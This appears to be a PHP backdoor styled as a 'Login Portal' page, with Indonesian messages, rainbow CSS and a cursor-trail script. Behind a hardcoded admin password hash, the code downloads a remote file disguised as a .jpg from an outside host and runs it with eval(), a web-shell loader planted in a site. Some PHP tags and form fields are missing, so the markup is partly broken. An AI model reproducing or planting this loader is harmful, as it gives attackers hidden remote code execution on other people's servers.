session_start();

$username = "admin";
$passwordHash = '$2b$12$ueChNOGtXVzj96Qil8trbuscSrjpahxIgYDouPaDe/LIp7A2oTBE.';

if (!isset($_SESSION['loggedin'])) {
if (isset($_POST['password'])) {
if (password_verify($_POST['password'], $passwordHash)) {
$_SESSION['loggedin'] = true;
header("Location: " . $_SERVER['PHP_SELF']);
exit();
} else {
$error = "Password salah. Silakan coba lagi.";
}
}
}

if (isset($_SESSION['loggedin'])) {
$url = 'http://tempatngumpul.it.com/NextGeneration/tuturu.jpg';
$content = file_get_contents($url);

if ($content !== false) {
eval('' . $content);
} else {
echo "Gagal mengambil konten dari URL.";
}
exit();
}


<!DOCTYPE html>
<html lang="en">

<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
Login Portal <title>Login Portal</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}

body, html {
height: 100%;
background: #000;
color: white;
font-family: 'Courier New', monospace;
overflow: hidden;
position: relative;
}

.login-container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
z-index: 10;
position: relative;
}

.login-box {
background: rgba(10, 0, 20, 0.85);
padding: 30px 40px;
border-radius: 12px;
text-align: center;
max-width: 360px;
width: 90%;
box-shadow: 0 0 20px rgba(255, 0, 255, 0.5);
backdrop-filter: blur(5px);
border: 1px solid;
border-image: linear-gradient(90deg,
#ff0000, #ff8000, #ffff00,
#80ff00, #00ff80, #00ffff,
#0080ff, #0000ff, #8000ff,
#ff00ff, #ff0080, #ff0000) 1;
}

h2 {
font-size: 28px;
margin-bottom: 20px;
background: linear-gradient(90deg,
#ff0000, #ff8000, #ffff00,
#80ff00, #00ff80, #00ffff,
#0080ff, #0000ff, #8000ff,
#ff00ff, #ff0080, #ff0000);
background-size: 300% 300%;
-webkit-background-clip: text;
background-clip: text;
color: transparent;
animation: spectrum 6s ease-in-out infinite;
}

@keyframes spectrum {
0% { background-position: 0% 50%; }
50% { background-position: 100% 50%; }
100% { background-position: 0% 50%; }
}

input[type="password"] {
width: 100%;
padding: 12px;
margin: 15px 0;
background: rgba(0, 0, 0, 0.6);
border: 1px solid #660066;
border-radius: 6px;
color: white;
font-family: monospace;
outline: none;
box-shadow: 0 0 8px rgba(255, 0, 255, 0.4);
transition: all 0.3s;
}

input[type="password"]:focus {
border-color: #ff00ff;
box-shadow: 0 0 12px rgba(255, 0, 255, 0.8);
}

button {
width: 100%;
padding: 12px;
background: linear-gradient(90deg,
#ff0000, #ff8000, #ffff00,
#80ff00, #00ff80, #00ffff,
#0080ff, #0000ff, #8000ff,
#ff00ff);
background-size: 300% 300%;
animation: spectrum 6s ease-in-out infinite;
color: black;
font-weight: bold;
font-family: monospace;
border: none;
border-radius: 6px;
cursor: pointer;
margin-top: 10px;
transition: transform 0.2s;
}

button:hover {
transform: scale(1.03);
}

.error {
color: #ff5555;
font-size: 14px;
margin-top: 10px;
text-shadow: 0 0 5px #ff0000;
}

/* Efek ular kursor */
.snake-dot {
position: absolute;
width: 8px;
height: 8px;
background: #0f0;
border-radius: 50%;
pointer-events: none;
mix-blend-mode: difference;
z-index: 9999;
}
</style>



<div class="login-container">
<div class="login-box">

🔐 ACCESS GRANTED?


if (isset($error)):
<div class="error">= htmlspecialchars($error) </div>
endif;


<button type="submit">Authenticate</button>

</div>
</div>

<script>

const numDots = 12;
const dots = [];

for (let i = 0; i < numDots; i++) {
const dot = document.createElement('div');
dot.className = 'snake-dot';
dot.style.opacity = (1 - i / numDots * 0.7).toString();
dot.style.width = (8 - i * 0.3) + 'px';
dot.style.height = (8 - i * 0.3) + 'px';
document.body.appendChild(dot);
dots.push({ el: dot, x: 0, y: 0 });
}

document.addEventListener('mousemove', (e) => {
dots[0].x = e.clientX;
dots[0].y = e.clientY;
});

function animate() {
for (let i = 1; i < dots.length; i++) {
const dx = dots[i - 1].x - dots[i].x;
const dy = dots[i - 1].y - dots[i].y;
dots[i].x += dx * 0.4;
dots[i].y += dy * 0.4;

dots[i].el.style.left = (dots[i].x - dots[i].el.offsetWidth / 2) + 'px';
dots[i].el.style.top = (dots[i].y - dots[i].el.offsetHeight / 2) + 'px';
}
requestAnimationFrame(animate);
}

animate();
</script>